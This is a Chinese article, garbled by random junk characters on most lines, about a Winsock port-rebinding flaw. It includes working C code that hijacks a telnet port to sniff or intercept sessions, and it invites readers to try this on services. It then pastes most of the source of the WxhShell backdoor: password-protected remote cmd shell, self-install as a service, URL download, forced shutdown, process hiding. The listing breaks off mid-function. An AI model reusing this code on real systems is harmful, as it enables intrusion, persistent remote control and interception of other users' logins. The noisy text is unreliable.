在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
4%l
@ s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
p^^Ai B<.XowT' saddr.sin_family = AF_INET;
1d49z9F j.C)KwelBS saddr.sin_addr.s_addr = htonl(INADDR_ANY);
@V$,H/v: C+{du^c$ bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
*We.?"X']. GKPC 9;{W 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
qGndh g8+w?Zn} 这意味着什么?意味着可以进行如下的攻击:
]TTX<R
ZLr 0,)Ao8 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
_ED,DM J&,N1B 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
}@IRReQ At5:X*vD 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
ZLA&<]Ad"$ %(4G[R[ 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
~$g$31/ tPO\ e] 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
}5n((7@X r,p6J7/lfS 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
<:#O*Y{ 1VW;[ ocQ 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
AF{k^^|H >`rK=?12< #include
}qUNXE@ #include
XOl]s?6H$ #include
; n2|pC^ #include
z1\G,mJK DWORD WINAPI ClientThread(LPVOID lpParam);
Mwdh]I,# int main()
mT
N6-V {
g*UI~rp WORD wVersionRequested;
j7;v'eA`;7 DWORD ret;
Ks&~VU WSADATA wsaData;
f.Y9gkt3d BOOL val;
?sl 7C
gl SOCKADDR_IN saddr;
3Rid1;L0U SOCKADDR_IN scaddr;
OHnHSb'?\ int err;
AYHfe#! SOCKET s;
sPNX) SOCKET sc;
#plwK-tPR int caddsize;
4-q7o]%5< HANDLE mt;
Uo{h.
.7? DWORD tid;
_] E ~ci} wVersionRequested = MAKEWORD( 2, 2 );
# k+Ggw err = WSAStartup( wVersionRequested, &wsaData );
rl)(4ad= if ( err != 0 ) {
9GnNL I{ printf("error!WSAStartup failed!\n");
riI0k{ return -1;
+Ux)m4}j }
NLDmZra saddr.sin_family = AF_INET;
A.9,p W>b(hVBE //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
qB3{65 @+",f] saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
G'XlsyaWrb saddr.sin_port = htons(23);
bw#zMU^E if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
STgl{# {
Kb0OauW printf("error!socket failed!\n");
6y)xMX return -1;
%hU8ycI*h }
7BCCQsz< val = TRUE;
%8H*}@n //SO_REUSEADDR选项就是可以实现端口重绑定的
qF6YH if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
D={|&:`L e {
y(|6` printf("error!setsockopt failed!\n");
Gy[;yLnX return -1;
<!:,(V>F(C }
8k'UEf`'( //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
-@ #b<"1 //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
<[xxCW(2 //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
GY4:9Lub7 &Pt| if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
EWN$ILdD {
e ,zR ret=GetLastError();
/:>f$k4~h printf("error!bind failed!\n");
bG+p return -1;
JJ56d)37. }
XF2u<sDe listen(s,2);
&0TOJ:RP while(1)
rWbuoG+8 {
!lE
(!d3M caddsize = sizeof(scaddr);
,_`\c7@ //接受连接请求
Ns9cx sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
E66e4?" if(sc!=INVALID_SOCKET)
} oJ+2OepN {
?mY )m
+ mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
zdn e2 if(mt==NULL)
MxxY MR {
xc R printf("Thread Creat Failed!\n");
.hgc1 break;
v%> ?~`Y }
ZeK*MPxQ }
EF0{o_ CloseHandle(mt);
n6WSTh }
4UoUuKzt closesocket(s);
pRXA!QfO WSACleanup();
j._9;HifZ return 0;
ltt%X].[ }
>82Q!HaH DWORD WINAPI ClientThread(LPVOID lpParam)
))!Z2PfD {
%Ua*}C SOCKET ss = (SOCKET)lpParam;
+IVVsVp SOCKET sc;
Kv+E"2d unsigned char buf[4096];
Z!6\KV] SOCKADDR_IN saddr;
tjOfekU long num;
8_f0P8R!y DWORD val;
df#DKV: DWORD ret;
pw:<a2. //如果是隐藏端口应用的话,可以在此处加一些判断
`e~/ //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
:RHNV saddr.sin_family = AF_INET;
PiI ):B> saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
}K;@$B6,@ saddr.sin_port = htons(23);
[?W3XUJ,Y if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
L3nHvKA] {
5gI@~h S printf("error!socket failed!\n");
xpFu$2T6P. return -1;
e }/c`7M }
,{itnKJC val = 100;
DcoTa-~ if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
j]J2,J {
qfppJ8L ret = GetLastError();
s;}';# return -1;
(Tn*;Xjq }
9{ i6g+ if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
qChS} Q {
J~ v<Z/gm ret = GetLastError();
-N5r[*> return -1;
S=[K/Kf- }
gbr|0h> if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
Qo?"hgjlqm {
D.qbzJz printf("error!socket connect failed!\n");
S3hJL:3c closesocket(sc);
F#4?@W closesocket(ss);
RNoS7[& return -1;
]S,I}NP }
*v:+AE while(1)
UN|"D]>/ {
]ZO^@sH //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
!i_5XcH //如果是嗅探内容的话,可以再此处进行内容分析和记录
K]@6&H-b| //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
2|EHNy! num = recv(ss,buf,4096,0);
BAmH2" if(num>0)
ZH_ J+ send(sc,buf,num,0);
]lQhIf6)k else if(num==0)
'4HwS$mW3 break;
E3,Z(dpX! num = recv(sc,buf,4096,0);
w
\0=L=J if(num>0)
9]|[z{v'>l send(ss,buf,num,0);
E_WiQ?p
else if(num==0)
0plRsZ} break;
I"sKlMD }
l:Ci'= closesocket(ss);
TKoO\\ closesocket(sc);
N
Ja]UZx return 0 ;
{ +
[rJ_ }
sdS<-!
%u4 ,PRM(n - Ow//#: ==========================================================
X@x:
F|/P pl fz)x3 下边附上一个代码,,WXhSHELL
4,H}'@Db} FjiLc=RXXz ==========================================================
SL%4w< zCO5`%14 #include "stdafx.h"
*PL+)2ob zd#qBj]g #include <stdio.h>
3p!R4f)GN #include <string.h>
jE2ziK #include <windows.h>
J[LGa:`` #include <winsock2.h>
axU!o /m> #include <winsvc.h>
Y0|~]J(B #include <urlmon.h>
]3
0
7. X:8=jHkz #pragma comment (lib, "Ws2_32.lib")
J_rCo4} #pragma comment (lib, "urlmon.lib")
EF)kYz!@ e;rs!I!Yw #define MAX_USER 100 // 最大客户端连接数
y*Ex5N~JC #define BUF_SOCK 200 // sock buffer
IA8kq =W #define KEY_BUFF 255 // 输入 buffer
)4GfT E6)FYz7x #define REBOOT 0 // 重启
3w{i5gGn #define SHUTDOWN 1 // 关机
Y ;&Cmi YqNhD6 #define DEF_PORT 5000 // 监听端口
/8W}o/,s5 \,p) #define REG_LEN 16 // 注册表键长度
+qsdA#2 #define SVC_LEN 80 // NT服务名长度
uT;Qo{G^ 1+#Vj# // 从dll定义API
PJkMn typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
-iH/~a typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
H7qda'%> typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
VJ_E]}H typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
9Eg'=YJ rX;(48Y // wxhshell配置信息
9=3V}]^M struct WSCFG {
"]MF =-v int ws_port; // 监听端口
;=h^"et char ws_passstr[REG_LEN]; // 口令
?1PY]KNaK int ws_autoins; // 安装标记, 1=yes 0=no
NTAPx=!1* char ws_regname[REG_LEN]; // 注册表键名
_Seiwk& char ws_svcname[REG_LEN]; // 服务名
) 3YE$, char ws_svcdisp[SVC_LEN]; // 服务显示名
?r'b
Z~ char ws_svcdesc[SVC_LEN]; // 服务描述信息
:
]
Y= char ws_passmsg[SVC_LEN]; // 密码输入提示信息
BvX!n"QIb int ws_downexe; // 下载执行标记, 1=yes 0=no
gN mp'Lm char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
B>?. Nr char ws_filenam[SVC_LEN]; // 下载后保存的文件名
-pqShDar| 'Iu$4xo`[ };
OkzfQ
hC} cE]tvL:g // default Wxhshell configuration
C=PBF\RkKu struct WSCFG wscfg={DEF_PORT,
;2dhue "xuhuanlingzhe",
7!MW`L/` 1,
IUu[`\b= "Wxhshell",
w:N\]=Vh "Wxhshell",
$)7-wCl</ "WxhShell Service",
p(0!TCBs "Wrsky Windows CmdShell Service",
7z%zXDe~T[ "Please Input Your Password: ",
yRieGf1'SD 1,
B*D`KA "
http://www.wrsky.com/wxhshell.exe",
,C=Fgxw( "Wxhshell.exe"
?FMHK\ };
KY|Q#i|pM [xI@)5Xk // 消息定义模块
.`)ICX char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
||L qx#e= char *msg_ws_prompt="\n\r? for help\n\r#>";
y\x!Be;6Z. char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
$fnFi|- char *msg_ws_ext="\n\rExit.";
M5%u>$2 char *msg_ws_end="\n\rQuit.";
M6 0(yTm char *msg_ws_boot="\n\rReboot...";
kv(N/G char *msg_ws_poff="\n\rShutdown...";
/1MO]u\ char *msg_ws_down="\n\rSave to ";
-u{k o"UqI char *msg_ws_err="\n\rErr!";
PkG+`N char *msg_ws_ok="\n\rOK!";
S4?ssI rm"bplLZA char ExeFile[MAX_PATH];
w
#1l)+ int nUser = 0;
25YJH1x HANDLE handles[MAX_USER];
FirmzB Il5 int OsIsNt;
A E7>jkHB 2!" N9Adt SERVICE_STATUS serviceStatus;
>mt<`s SERVICE_STATUS_HANDLE hServiceStatusHandle;
AV&W&$ KtV_DjH: // 函数声明
3s>&h-E int Install(void);
{SROg;vA int Uninstall(void);
vn,L),"= int DownloadFile(char *sURL, SOCKET wsh);
TSuHY0.cp int Boot(int flag);
ze#LX4b I void HideProc(void);
<[a9"G7 int GetOsVer(void);
&p4q# p7, int Wxhshell(SOCKET wsl);
>nl*aN void TalkWithClient(void *cs);
!vett4C* K int CmdShell(SOCKET sock);
tb@/E int StartFromService(void);
\>I&UFfH)4 int StartWxhshell(LPSTR lpCmdLine);
)cOm\^,
"&C'K VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
4H1s"mP< VOID WINAPI NTServiceHandler( DWORD fdwControl );
b(~NqV!i DUW;G9LP$- // 数据结构和表定义
u4.-AY { SERVICE_TABLE_ENTRY DispatchTable[] =
%C)U
F {
pu `|HaQaE {wscfg.ws_svcname, NTServiceMain},
0V`/oaW; {NULL, NULL}
P5aHLNit };
gQ/zk3?k L:B&`,E // 自我安装
-M[5K/[ int Install(void)
k`TEA?RfQ {
eKLxNw5 char svExeFile[MAX_PATH];
PU-;Q@< E HKEY key;
U15Hq*8Z strcpy(svExeFile,ExeFile);
yY,.GzIjCj YjG0: 9 // 如果是win9x系统,修改注册表设为自启动
l<qxr.X if(!OsIsNt) {
$9ON3> if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
/wvA]ooT RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
nTYqZlI, RegCloseKey(key);
}-8K*A3 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
e1+
%c9UQ RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
q:nYUW o RegCloseKey(key);
]vu'+F$ return 0;
;%U`lE0 }
1>|p1YZ" }
8vaqj/ }
MK=:L else {
v3@)q0@ >#>YoA@S // 如果是NT以上系统,安装为系统服务
wmT3 > SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
BJlF@F# if (schSCManager!=0)
9 -TFyZYU {
J.O;c5wL SC_HANDLE schService = CreateService
7dU X(D,? (
B`KpaE] schSCManager,
R$w=+%F wscfg.ws_svcname,
"pHQ wscfg.ws_svcdisp,
Is88+,O SERVICE_ALL_ACCESS,
t$UFR7XE SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
QR^pu.k@ SERVICE_AUTO_START,
y8,es$ SERVICE_ERROR_NORMAL,
St&XG>nWS svExeFile,
][0HJG{{g NULL,
j[Et+V? NULL,
)ns;S NULL,
o.j;dsZ NULL,
ZY][LU~l8 NULL
Vxk0oIk` );
R?]>8o, if (schService!=0)
*W i(% {
3btciR!N] CloseServiceHandle(schService);
lz # inC| CloseServiceHandle(schSCManager);
Dcp,9"yt% strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
lUWjm%| strcat(svExeFile,wscfg.ws_svcname);
Q>z0?%B if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
B"{CWH O RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
%`gqV9a RegCloseKey(key);
a_Xh(d$ return 0;
KXdls(ROP }
8(S'g+p }
D{G#|&; CloseServiceHandle(schSCManager);
9K%E+_7b }
P3N
f< }
n){\KIU/O Z i|'lHr return 1;
H)(Jjk-O }
%Cm4a49FNi E%$FX'8& // 自我卸载
LTJ|EXYA int Uninstall(void)
l?#([(WM {
'rd{fe_g! HKEY key;
0 J ANj V:l; 2rW if(!OsIsNt) {
>0~y"~M if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
JbG+ysn RegDeleteValue(key,wscfg.ws_regname);
Ou,B3kuQ+ RegCloseKey(key);
&Cdd if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
mWka!lT RegDeleteValue(key,wscfg.ws_regname);
mk[=3!J RegCloseKey(key);
O0~[]3Y[= return 0;
F v(zql }
7eu7ie6 }
{zg}KiNDZd }
;,9|;)U?u else {
0WYVt"|;}c 6idYz"P % SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
NEK;'"~ if (schSCManager!=0)
v|n.AGn {
Zb}=?fcL;@ SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
~omX(kPzK if (schService!=0)
^yBx.GrQc {
R=PjLH&) if(DeleteService(schService)!=0) {
|E!xt6B CloseServiceHandle(schService);
4?d2#Xhs8 CloseServiceHandle(schSCManager);
+fKLCzj return 0;
o>j3<#? }
I,q3J1K CloseServiceHandle(schService);
-+c_TJ.dC }
*jDzh;H!w CloseServiceHandle(schSCManager);
>5XE*9 }
Xf$,ra" }
kbOo;<X9A VE{t]>*-u return 1;
\t )Zk2 }
c)lMi}/ A"w
1GBx // 从指定url下载文件
O^`Y>>a int DownloadFile(char *sURL, SOCKET wsh)
~2=B:; {
IWKQU/l! HRESULT hr;
9I.="b=J) char seps[]= "/";
{OB\~$TH char *token;
6B|IbQ^ char *file;
t0hg!_$bq char myURL[MAX_PATH];
, gz:2UY# char myFILE[MAX_PATH];
MbjH\XRB j>P>MdZtk strcpy(myURL,sURL);
/S P^fB*y token=strtok(myURL,seps);
B;_M52-B while(token!=NULL)
.K:>`~<) {
G$`/86A ) file=token;
4.R
>mN[ token=strtok(NULL,seps);
&~uzu{ }
N<O^%!bu R *Q5/d9B8TN GetCurrentDirectory(MAX_PATH,myFILE);
wYNh0QlBH strcat(myFILE, "\\");
].`i`.T strcat(myFILE, file);
N"FQMxqm send(wsh,myFILE,strlen(myFILE),0);
&K|CH?
D send(wsh,"...",3,0);
Qs</.PO hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
opdi5e)jK if(hr==S_OK)
V"\t return 0;
.y[=0K: else
WM*7p;t@) return 1;
qDL9 7pr@aA"vgj }
* 496"kU $40tAes9 // 系统电源模块
kg9ZSkJr int Boot(int flag)
>5)$Qtz# {
aq[kKS` HANDLE hToken;
|<9R% TOKEN_PRIVILEGES tkp;
F8/4PB8- Q>= :$I if(OsIsNt) {
8"RX~Igf OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
APy&~` LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
h<.&,6R tkp.PrivilegeCount = 1;
M%yT?R+ tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
:C>slxY AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
E+F!u5u if(flag==REBOOT) {
1^Ci$ra if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
E3sl"d;~ return 0;
X_O(j!h }
1j3mTP else {
v(]\o;/O if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
'}]w=2Lf return 0;
mI?AI7DqK }
ZShRE"` }
t"JfqD E else {
yj"+!g if(flag==REBOOT) {
8@Y]dzgjj if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
jD'\\jAUdm return 0;
s#64NG }
beN0?G else {
!V#(g ./W if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
U")bvUIL return 0;
MhWmY[ }
aJK8G,Vk }
jh2D9h ')+'m1N return 1;
]KLjQpd }
~S#Le )Q&:$] // win9x进程隐藏模块
0P&rTtU6 void HideProc(void)
3zv_q&+8b {
-h8A< @6(4}&sEdm HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
>o%.`)Ar if ( hKernel != NULL )
c$bb0J% {
S0,p:Wey pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
b&s"x?
7 ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
Q4}2-}| FreeLibrary(hKernel);
D$!(Iae }
{!Jw+LPv$$ ,o*x\jrGw return;
vRYfB{~ }
*Xn{{ *oKc4S+ // 获取操作系统版本
b~WiE? int GetOsVer(void)
bK<'J=#1 {
Mb"i}Yt{ OSVERSIONINFO winfo;
J*5 )g winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
m ['UV2 GetVersionEx(&winfo);
\Om.pOz if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
yiWBIJ2Wu9 return 1;
r`HtN{6r else
ezgP\ct return 0;
{D 9m//x }
G;>b}\Ng 9jCn|+ // 客户端句柄模块
d [6[3B int Wxhshell(SOCKET wsl)
w0q.cj@nd {
xOt%H\*k" SOCKET wsh;
AKzhal! struct sockaddr_in client;
:Fm;0R@/k DWORD myID;
N/4`afiV. +pkX$yz while(nUser<MAX_USER)
QcU&G* {
!Z3iu int nSize=sizeof(client);
DwMq wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
{D={>0 if(wsh==INVALID_SOCKET) return 1;
JS1$l+1 U\*}} handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
rB}Iwp8 if(handles[nUser]==0)
Lf4c[[@%gd closesocket(wsh);
[z'PdYQR/{ else
wi|'pKG nUser++;
I'Ui` :A }
-iLp3m<ai WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
-hZlFAZi 9nu!|reS return 0;
&Egw94l }
\_bk+}WJ]s ( d#E16y // 关闭 socket
Z@4BTA void CloseIt(SOCKET wsh)
U(4>e! {
iO4Yfj#? closesocket(wsh);
2f2Vy:&O_ nUser--;
k?zw4S ExitThread(0);
Oe:+%p }
3MPmLV#f ^`XQ>-wWue // 客户端请求句柄
3x@t7B void TalkWithClient(void *cs)
omisfu_~E {
w~{NNK;"j *~YU0o SOCKET wsh=(SOCKET)cs;
yU<T_&M
char pwd[SVC_LEN];
__dSEOGoe char cmd[KEY_BUFF];
?Imq4I~) char chr[1];
!VBl/ aU@ int i,j;
X,DG2HT 7jPPN while (nUser < MAX_USER) {
#;4<dDVy 6jyS]($q if(wscfg.ws_passstr) {
Kx==vq%39 if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
>c
%*:a //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
qS1byqq78l //ZeroMemory(pwd,KEY_BUFF);
o/??w:' i=0;
C^oj/}^ while(i<SVC_LEN) {
v50w}w' <Ih)h$8` // 设置超时
r{R879 fd_set FdRead;
n] {sBI3 struct timeval TimeOut;
sl?> X)} FD_ZERO(&FdRead);
b9`vYnLk FD_SET(wsh,&FdRead);
Y_'3pX, TimeOut.tv_sec=8;
Q"rQVO TimeOut.tv_usec=0;
hA 1_zKZ int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
!6.}{6b if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
}rK9M$2]u U?]}K S;6 if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
+||y/}1 pwd
=chr[0]; jRdmQmTJ
if(chr[0]==0xd || chr[0]==0xa) { h]WPWa)M
pwd=0; `#J0@ -
break; sa6/$
} 4OX|pa
i++; Lmh4ezrdH
} O\0]o!
&q8oalh
// 如果是非法用户,关闭 socket gkkT<hEV=
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); g}\G@7Q
} xb8S)zO]Q
]c/k%]o~
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); A><w1-X&=o
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); f0Wbc\L[
SlK6KnX
while(1) { EGJ d:>k
f0!i<9<
ZeroMemory(cmd,KEY_BUFF); b&]_5 GGc
r2!\Ts 5v
// 自动支持客户端 telnet标准 H 5\k`7R
j=0; 9W5~I9%
while(j<KEY_BUFF) { uUmkk
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); -]hk2Q0
cmd[j]=chr[0]; my1FW,3
if(chr[0]==0xa || chr[0]==0xd) { U0X,g(2'
cmd[j]=0; K3g<NC
break; Y8l
8B>
} ^UJB%l
j++; KAkD" (!
} =Pj+^+UM
|-+ IF,j
// 下载文件 9pF@#A9p
if(strstr(cmd,"http://")) { OQ*BPmS-
send(wsh,msg_ws_down,strlen(msg_ws_down),0); z.d1>w
if(DownloadFile(cmd,wsh)) `_;sT8
send(wsh,msg_ws_err,strlen(msg_ws_err),0); WZh%iuI{C
else D_s0)|j$cy
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); L[s7q0 F`l
} z:gp\
else { "2m (*+
OS-
Xh-:z
switch(cmd[0]) { zv.R~lMtY
$tm%=g^
// 帮助 GycW3tc]_&
case '?': { ZsnFuk#W
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ^mp#7OL
break; kMS&"/z
} M_BG:P5
// 安装 O%m\
Q1
case 'i': { "39\@Ow
if(Install()) AT{rg/oSf
send(wsh,msg_ws_err,strlen(msg_ws_err),0); >v?&&FhHK<
else "O (N=|b
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); c;6[lv
break; s^\
*jZ6
} bfV&z+Rv-5
// 卸载 i$?$X,
case 'r': { C
9{8!fYp
if(Uninstall()) `xXpP"*o}
send(wsh,msg_ws_err,strlen(msg_ws_err),0); uCB>".'kM
else 3bU(ea^e$
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Bz+zEXBC
break; R"2wop
} %$Smei
// 显示 wxhshell 所在路径 5|<j Pc
case 'p': { nY)H-u^
char svExeFile[MAX_PATH]; 7$zeRYD+
strcpy(svExeFile,"\n\r"); #Ch*a.tI@
strcat(svExeFile,ExeFile); ~vPR9\e
send(wsh,svExeFile,strlen(svExeFile),0); .D8|_B
break; Tf*DFyr
} 4AWL::FU5
// 重启 =tS#t+2S
case 'b': { V$?@
z>7
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); N e<D'-
if(Boot(REBOOT)) R\T1R"1
send(wsh,msg_ws_err,strlen(msg_ws_err),0); Q\moR^>
else { {VmJVO]S
closesocket(wsh); gJFx#s0?6.
ExitThread(0); zBjtPtiiI8
} 7{JIHY+
break; >}7Ml
} 'qy
LQ:6
// 关机 t@vVE{`
case 'd': { Kg;u.4.-M
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); h<0&|s*a)
if(Boot(SHUTDOWN)) 4roqD;5|~|
send(wsh,msg_ws_err,strlen(msg_ws_err),0); eJ
;a}{ 4%
else { b0|;v-v
closesocket(wsh); ASU.VY
ExitThread(0); ou\M}C`E
} b/soU2?^
break; V<A$eb>6
} o)2KQ$b>Q
// 获取shell C{<H)?]*BF
case 's': { I6e[K(7NY
CmdShell(wsh); k[Ue}L|
closesocket(wsh); )q|a Sd
ExitThread(0); VFI\2n`
break; h1
npaD!
} nRHxbE}::
// 退出 VV+gPC
case 'x': { x O_u
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); uvMcB9
CloseIt(wsh); ZJf:a}=h
break; Z#NEa.]
} sS{!z@\Lf
// 离开 M 8NWQ^Y
case 'q': { E'
_6v
send(wsh,msg_ws_end,strlen(msg_ws_end),0); `i5 \(cdl
closesocket(wsh); MLT^7'y
WSACleanup(); UP .4# 1I
exit(1); r
"uQ|
break; 0&$,?CL?
} MU>6s`6O
} E=#
O|[=
} dRL*TT0NW
i9+qU
// 提示信息 <ebC]2j8cK
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); *Roqie
} P
y!$r
} <8iu :nR
fNk0&M
return; ;k:17&:8ue
} y2M]z:Y U
[[7=rn}@<
// shell模块句柄 3C
gmZ7[
int CmdShell(SOCKET sock) ty\F~]Oo
{ OPuty/^!Gw
STARTUPINFO si; S;K5JBX0#
ZeroMemory(&si,sizeof(si)); ua!43Bp
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; $W;f9k@C!
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; jB"IJ$cD
PROCESS_INFORMATION ProcessInfo; JKTn
char cmdline[]="cmd"; w| eVl{~p
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 1k0*WCfZ
return 0; :|a$[g5
} I~F]e|Ehqr
Ay@/{RZz
// 自身启动模式 83!{?EPE
int StartFromService(void) -!QVM\t
{ ;DgQ8"f
typedef struct "t)$4gERK
{ (91 YHhk{
DWORD ExitStatus; "lRxatM
DWORD PebBaseAddress; e'|IRhr
DWORD AffinityMask; zQ#2BOx1
DWORD BasePriority; 6L<QKE=
ULONG UniqueProcessId; S|
|OSxZ
